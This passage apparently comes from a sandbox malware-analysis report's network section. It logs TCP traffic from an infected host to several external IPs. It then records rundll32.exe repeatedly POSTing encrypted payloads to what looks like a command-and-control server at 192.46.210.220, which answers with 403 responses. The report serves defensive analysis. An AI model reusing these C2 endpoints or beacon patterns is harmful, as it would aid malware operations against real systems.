Oct 28, 2021 05:00:58.154010057 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:58.159382105 CEST	50185	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:58.283893108 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.320142031 CEST	808	50185	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:58.450428963 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:58.450833082 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.451474905 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.617917061 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:58.617966890 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:58.618222952 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.618992090 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.626168966 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.626358986 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:58.653068066 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:58.653158903 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:58.653255939 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:58.653280973 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:58.660860062 CEST	50186	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:58.660892963 CEST	443	50186	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:58.792699099 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:58.792836905 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:58.792916059 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:58.856508970 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.018520117 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.019722939 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.020411968 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.182626963 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.182754993 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.182909966 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.183816910 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.186413050 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:59.186434031 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:59.186638117 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:59.189707994 CEST	50187	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:59.191534042 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.191653967 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.315632105 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.345653057 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.353260040 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.353287935 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.353295088 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.356288910 CEST	6891	50187	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:59.364604950 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.364856005 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.365823984 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.413824081 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.414050102 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.414133072 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.414905071 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.420670986 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.420830965 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.468622923 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.659019947 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.659044981 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.659290075 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.661434889 CEST	50189	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:59.709307909 CEST	8116	50189	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:59.743757963 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.743787050 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:59.744003057 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.752168894 CEST	50188	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:59.781713009 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:59.781764030 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:59.781919956 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:59.782632113 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:59.782650948 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:59.866221905 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:59.914084911 CEST	808	50188	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:00.031687021 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.031903982 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.032756090 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.198144913 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.198170900 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.198470116 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.198908091 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.201741934 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.201814890 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.276546955 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.276776075 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.278217077 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.278229952 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.284092903 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.284106970 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.284243107 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.284254074 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.366988897 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.367115021 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.746747017 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.746766090 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.748872995 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.748910904 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.752909899 CEST	50191	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:01:00.870446920 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:00.918143988 CEST	6891	50191	45.77.0.96	192.168.2.6
Oct 28, 2021 05:01:00.923743010 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:00.923933983 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:00.924760103 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:00.976520061 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.976596117 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.976639986 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.976651907 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.978020906 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:00.978064060 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:00.978157997 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:00.978622913 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:00.980292082 CEST	50190	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:00.980315924 CEST	443	50190	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:00.982795000 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:00.982913971 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:01.035955906 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:01.036205053 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:01.141949892 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.205228090 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:01.205259085 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:01.205383062 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:01.213232040 CEST	50192	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:01:01.266315937 CEST	8116	50192	185.56.219.47	192.168.2.6
Oct 28, 2021 05:01:01.301454067 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.301640987 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.302186966 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.331403971 CEST	50194	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:01.331449986 CEST	443	50194	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:01.331667900 CEST	50194	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:01.332402945 CEST	50194	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:01.332428932 CEST	443	50194	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:01.461414099 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.461554050 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.461673021 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.462836981 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.467024088 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.467143059 CEST	50193	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:01:01.622024059 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.626250982 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.626333952 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.626343966 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:01.851859093 CEST	443	50194	192.46.210.220	192.168.2.6
Oct 28, 2021 05:01:01.852202892 CEST	50194	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:01:02.014107943 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:02.014133930 CEST	808	50193	143.244.140.214	192.168.2.6
Oct 28, 2021 05:01:02.014312029 CEST	50193	808	192.168.2.6	143.244.140.214

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 28, 2021 05:01:42.914350033 CEST	8.8.8.8	192.168.2.6	0x739b	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

192.46.210.220

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49747	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:57:58 UTC	0	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:57:58 UTC	0	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:57:59 UTC	4	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:57:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49749	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:01 UTC	4	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:01 UTC	5	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:02 UTC	9	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49796	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:20 UTC	49	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:20 UTC	49	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:21 UTC	54	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	49801	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:23 UTC	54	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:23 UTC	54	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:23 UTC	59	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:23 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49803	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:25 UTC	59	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:25 UTC	59	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:25 UTC	64	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49809	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:27 UTC	64	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:27 UTC	64	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:28 UTC	69	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49811	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:28 UTC	69	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:28 UTC	69	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:29 UTC	74	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49817	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:31 UTC	74	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:31 UTC	74	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:32 UTC	79	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49819	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:32 UTC	79	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
